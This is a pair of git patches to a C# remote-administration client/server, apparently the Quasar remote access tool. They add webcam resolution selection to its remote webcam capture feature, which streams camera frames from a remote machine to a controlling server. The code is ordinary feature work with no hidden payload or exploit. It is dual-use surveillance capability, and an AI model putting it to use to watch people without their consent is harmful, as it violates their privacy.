From 37288caba98c3d7894cdc852a4c63a9987fe58df Mon Sep 17 00:00:00 2001 From: d3agle Date: Tue, 26 Jul 2016 13:20:57 -0500 Subject: [PATCH 1/2] Added resolution/quality support for webcam capture --- Client/Core/Commands/WebcamHandler.cs | 19 ++++++++---- .../ClientPackets/GetWebcamResponse.cs | 5 ++-- .../ClientPackets/GetWebcamsResponse.cs | 7 +++-- .../Core/Packets/ServerPackets/GetWebcam.cs | 4 ++- Server/Core/Commands/SurveillanceHandler.cs | 4 +-- .../ClientPackets/GetWebcamResponse.cs | 6 ++-- .../ClientPackets/GetWebcamsResponse.cs | 7 +++-- .../Core/Packets/ServerPackets/GetWebcam.cs | 4 ++- Server/Forms/FrmRemoteWebcam.Designer.cs | 20 +++++++++++-- Server/Forms/FrmRemoteWebcam.cs | 30 +++++++++++++++---- 10 files changed, 77 insertions(+), 29 deletions(-) diff --git a/Client/Core/Commands/WebcamHandler.cs b/Client/Core/Commands/WebcamHandler.cs index 9a1a119b..325a8def 100644 --- a/Client/Core/Commands/WebcamHandler.cs +++ b/Client/Core/Commands/WebcamHandler.cs @@ -18,18 +18,25 @@ namespace xClient.Core.Commands public static bool NeedsCapture; public static Client Client; public static int Webcam; + public static int Resolution; public static VideoCaptureDevice FinalVideo; public static void HandleGetWebcams(GetWebcams command, Client client) { - var result = new List(); + var deviceInfo = new Dictionary>(); var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) { - result.Add(videoCaptureDevice.Name); + List supportedResolutions = new List(); + var device = new VideoCaptureDevice(videoCaptureDevice.MonikerString); + foreach (var resolution in device.VideoCapabilities) + { + supportedResolutions.Add(resolution.FrameSize); + } + deviceInfo.Add(videoCaptureDevice.Name, supportedResolutions); } - if (result.Count > 0) - new GetWebcamsResponse(result).Execute(client); + if (deviceInfo.Count > 0) + new GetWebcamsResponse(deviceInfo).Execute(client); } public static void HandleGetWebcam(GetWebcam command, Client client) @@ -37,11 +44,13 @@ namespace xClient.Core.Commands Client = client; NeedsCapture = true; Webcam = command.Webcam; + Resolution = command.Resolution; if (!WebcamStarted) { var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); FinalVideo = new VideoCaptureDevice(videoCaptureDevices[command.Webcam].MonikerString); FinalVideo.NewFrame += FinalVideo_NewFrame; + FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[command.Resolution]; FinalVideo.Start(); WebcamStarted = true; } @@ -71,7 +80,7 @@ namespace xClient.Core.Commands using (var stream = new MemoryStream()) { image.Save(stream, ImageFormat.Bmp); - new GetWebcamResponse(stream.ToArray(), Webcam).Execute(Client); + new GetWebcamResponse(stream.ToArray(), Webcam, Resolution).Execute(Client); stream.Close(); } NeedsCapture = false; diff --git a/Client/Core/Packets/ClientPackets/GetWebcamResponse.cs b/Client/Core/Packets/ClientPackets/GetWebcamResponse.cs index 8dcd46a6..0c84db5d 100644 --- a/Client/Core/Packets/ClientPackets/GetWebcamResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetWebcamResponse.cs @@ -1,5 +1,4 @@ using System; -using System.Drawing; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets @@ -9,15 +8,17 @@ namespace xClient.Core.Packets.ClientPackets { public byte[] Image { get; set; } public int Webcam { get; set; } + public int Resolution { get; set; } public GetWebcamResponse() { } - public GetWebcamResponse(byte[] image, int webcam) + public GetWebcamResponse(byte[] image, int webcam, int resolution) { this.Image = image; this.Webcam = webcam; + this.Resolution = resolution; } public void Execute(Client client) diff --git a/Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs b/Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs index 07123af2..d0182771 100644 --- a/Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs @@ -1,21 +1,22 @@ using System; using System.Collections.Generic; using xClient.Core.Networking; +using System.Drawing; namespace xClient.Core.Packets.ClientPackets { [Serializable] public class GetWebcamsResponse : IPacket { - public List Names { get; set; } + public Dictionary> Webcams { get; set; } public GetWebcamsResponse() { } - public GetWebcamsResponse(List names) + public GetWebcamsResponse(Dictionary> webcams) { - this.Names = names; + this.Webcams = webcams; } public void Execute(Client client) diff --git a/Client/Core/Packets/ServerPackets/GetWebcam.cs b/Client/Core/Packets/ServerPackets/GetWebcam.cs index 00bbf23e..4bc5d0ea 100644 --- a/Client/Core/Packets/ServerPackets/GetWebcam.cs +++ b/Client/Core/Packets/ServerPackets/GetWebcam.cs @@ -7,14 +7,16 @@ namespace xClient.Core.Packets.ServerPackets public class GetWebcam : IPacket { public int Webcam { get; set; } + public int Resolution { get; set; } public GetWebcam() { } - public GetWebcam(int webcam) + public GetWebcam(int webcam, int resolution) { this.Webcam = webcam; + this.Resolution = resolution; } public void Execute(Client client) diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index fe267a1d..a3baad33 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -179,7 +179,7 @@ namespace xServer.Core.Commands if (client.Value == null || client.Value.FrmWebcam == null) return; - client.Value.FrmWebcam.AddWebcams(packet.Names); + client.Value.FrmWebcam.AddWebcams(packet.Webcams); } public static void HandleGetWebcamResponse(Client client, GetWebcamResponse packet) @@ -200,7 +200,7 @@ namespace xServer.Core.Commands if (client.Value != null && client.Value.FrmWebcam != null && client.Value.FrmWebcam.IsStarted) { - new GetWebcam(packet.Webcam).Execute(client); + new GetWebcam(packet.Webcam, packet.Resolution).Execute(client); } } } diff --git a/Server/Core/Packets/ClientPackets/GetWebcamResponse.cs b/Server/Core/Packets/ClientPackets/GetWebcamResponse.cs index 8f527545..f836a675 100644 --- a/Server/Core/Packets/ClientPackets/GetWebcamResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetWebcamResponse.cs @@ -1,24 +1,24 @@ using System; -using System.Drawing; using xServer.Core.Networking; namespace xServer.Core.Packets.ClientPackets { - [Serializable] public class GetWebcamResponse : IPacket { public byte[] Image { get; set; } public int Webcam { get; set; } + public int Resolution { get; set; } public GetWebcamResponse() { } - public GetWebcamResponse(byte[] image, int webcam) + public GetWebcamResponse(byte[] image, int webcam, int resolution) { this.Image = image; this.Webcam = webcam; + this.Resolution = resolution; } public void Execute(Client client) diff --git a/Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs b/Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs index 3e3fb297..b7f53114 100644 --- a/Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs @@ -1,21 +1,22 @@ using System; using System.Collections.Generic; using xServer.Core.Networking; +using System.Drawing; namespace xServer.Core.Packets.ClientPackets { [Serializable] public class GetWebcamsResponse : IPacket { - public List Names { get; set; } + public Dictionary> Webcams { get; set; } public GetWebcamsResponse() { } - public GetWebcamsResponse(List names) + public GetWebcamsResponse(Dictionary> webcams) { - this.Names = names; + this.Webcams = webcams; } public void Execute(Client client) diff --git a/Server/Core/Packets/ServerPackets/GetWebcam.cs b/Server/Core/Packets/ServerPackets/GetWebcam.cs index f384c773..1dd49363 100644 --- a/Server/Core/Packets/ServerPackets/GetWebcam.cs +++ b/Server/Core/Packets/ServerPackets/GetWebcam.cs @@ -7,14 +7,16 @@ namespace xServer.Core.Packets.ServerPackets public class GetWebcam : IPacket { public int Webcam { get; set; } + public int Resolution { get; set; } public GetWebcam() { } - public GetWebcam(int webcam) + public GetWebcam(int webcam, int resolution) { this.Webcam = webcam; + this.Resolution = resolution; } public void Execute(Client client) diff --git a/Server/Forms/FrmRemoteWebcam.Designer.cs b/Server/Forms/FrmRemoteWebcam.Designer.cs index 23509c18..2ab1aded 100644 --- a/Server/Forms/FrmRemoteWebcam.Designer.cs +++ b/Server/Forms/FrmRemoteWebcam.Designer.cs @@ -35,6 +35,7 @@ this.btnHide = new System.Windows.Forms.Button(); this.btnStart = new System.Windows.Forms.Button(); this.btnStop = new System.Windows.Forms.Button(); + this.cbResolutions = new System.Windows.Forms.ComboBox(); this.picWebcam = new xServer.Controls.RapidPictureBox(); this.panelTop.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.picWebcam)).BeginInit(); @@ -42,7 +43,7 @@ // // btnShow // - this.btnShow.Location = new System.Drawing.Point(389, 84); + this.btnShow.Location = new System.Drawing.Point(388, 115); this.btnShow.Name = "btnShow"; this.btnShow.Size = new System.Drawing.Size(54, 19); this.btnShow.TabIndex = 10; @@ -55,13 +56,14 @@ // panelTop // this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panelTop.Controls.Add(this.cbResolutions); this.panelTop.Controls.Add(this.cbWebcams); this.panelTop.Controls.Add(this.btnHide); this.panelTop.Controls.Add(this.btnStart); this.panelTop.Controls.Add(this.btnStop); this.panelTop.Location = new System.Drawing.Point(330, 0); this.panelTop.Name = "panelTop"; - this.panelTop.Size = new System.Drawing.Size(181, 76); + this.panelTop.Size = new System.Drawing.Size(181, 109); this.panelTop.TabIndex = 9; // // cbWebcams @@ -73,10 +75,11 @@ this.cbWebcams.Size = new System.Drawing.Size(149, 21); this.cbWebcams.TabIndex = 8; this.cbWebcams.TabStop = false; + this.cbWebcams.SelectedIndexChanged += new System.EventHandler(this.cbWebcams_SelectedIndexChanged); // // btnHide // - this.btnHide.Location = new System.Drawing.Point(57, 54); + this.btnHide.Location = new System.Drawing.Point(57, 84); this.btnHide.Name = "btnHide"; this.btnHide.Size = new System.Drawing.Size(54, 19); this.btnHide.TabIndex = 7; @@ -108,6 +111,16 @@ this.btnStop.UseVisualStyleBackColor = true; this.btnStop.Click += new System.EventHandler(this.btnStop_Click); // + // cbResolutions + // + this.cbResolutions.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbResolutions.FormattingEnabled = true; + this.cbResolutions.Location = new System.Drawing.Point(15, 57); + this.cbResolutions.Name = "cbResolutions"; + this.cbResolutions.Size = new System.Drawing.Size(149, 21); + this.cbResolutions.TabIndex = 9; + this.cbResolutions.TabStop = false; + // // picWebcam // this.picWebcam.BackColor = System.Drawing.Color.Black; @@ -154,5 +167,6 @@ private System.Windows.Forms.Button btnHide; private System.Windows.Forms.Button btnStart; private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.ComboBox cbResolutions; } } \ No newline at end of file diff --git a/Server/Forms/FrmRemoteWebcam.cs b/Server/Forms/FrmRemoteWebcam.cs index e6a1a6ce..95069b16 100644 --- a/Server/Forms/FrmRemoteWebcam.cs +++ b/Server/Forms/FrmRemoteWebcam.cs @@ -9,11 +9,15 @@ using xServer.Core.Utilities; using xServer.Enums; namespace xServer.Forms { + using System.Linq; + public partial class FrmRemoteWebcam : Form { public bool IsStarted { get; private set; } private readonly Client _connectClient; + private Dictionary> Webcams; + public FrmRemoteWebcam(Client c) { _connectClient = c; @@ -52,14 +56,17 @@ namespace xServer.Forms if (_connectClient.Value != null) new Core.Packets.ServerPackets.GetWebcams().Execute(_connectClient); } - public void AddWebcams(List names) + public void AddWebcams(Dictionary> webcams) { + this.Webcams = webcams; try { cbWebcams.Invoke((MethodInvoker)delegate { - for (int i = 0; i < names.Count; i++) - cbWebcams.Items.Add(string.Format("{0}",names[i])); + foreach (var webcam in webcams.Keys) + { + cbWebcams.Items.Add(string.Format("{0}", webcam)); + } cbWebcams.SelectedIndex = 0; }); } @@ -69,8 +76,6 @@ namespace xServer.Forms } public void UpdateImage(Bitmap bmp, bool cloneBitmap = false) { - - picWebcam.Image = new Bitmap(bmp, picWebcam.Width, picWebcam.Height); } @@ -87,7 +92,7 @@ namespace xServer.Forms this.ActiveControl = picWebcam; - new Core.Packets.ServerPackets.GetWebcam(cbWebcams.SelectedIndex).Execute(_connectClient); + new Core.Packets.ServerPackets.GetWebcam(cbWebcams.SelectedIndex, cbResolutions.SelectedIndex).Execute(_connectClient); } public void ToggleControls(bool state) @@ -119,5 +124,18 @@ namespace xServer.Forms new Core.Packets.ServerPackets.DoWebcamStop().Execute(_connectClient); } + + private void cbWebcams_SelectedIndexChanged(object sender, EventArgs e) + { + cbResolutions.Invoke((MethodInvoker)delegate + { + cbResolutions.Items.Clear(); + foreach (var resolution in this.Webcams.ElementAt(cbWebcams.SelectedIndex).Value) + { + cbResolutions.Items.Add(string.Format("{0} x {1}", resolution.Width, resolution.Height)); + } + cbResolutions.SelectedIndex = 0; + }); + } } } From f40a9b13ed82e75f5866a67e0cbe3305fcd087be Mon Sep 17 00:00:00 2001 From: d3agle Date: Tue, 26 Jul 2016 13:43:12 -0500 Subject: [PATCH 2/2] Fix form resolutions control enabled on capture start --- Server/Forms/FrmRemoteWebcam.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Server/Forms/FrmRemoteWebcam.cs b/Server/Forms/FrmRemoteWebcam.cs index 95069b16..1413e99c 100644 --- a/Server/Forms/FrmRemoteWebcam.cs +++ b/Server/Forms/FrmRemoteWebcam.cs @@ -99,7 +99,7 @@ namespace xServer.Forms { IsStarted = !state; - cbWebcams.Enabled = btnStart.Enabled = state; + cbWebcams.Enabled = cbResolutions.Enabled = btnStart.Enabled = state; btnStop.Enabled = !state; }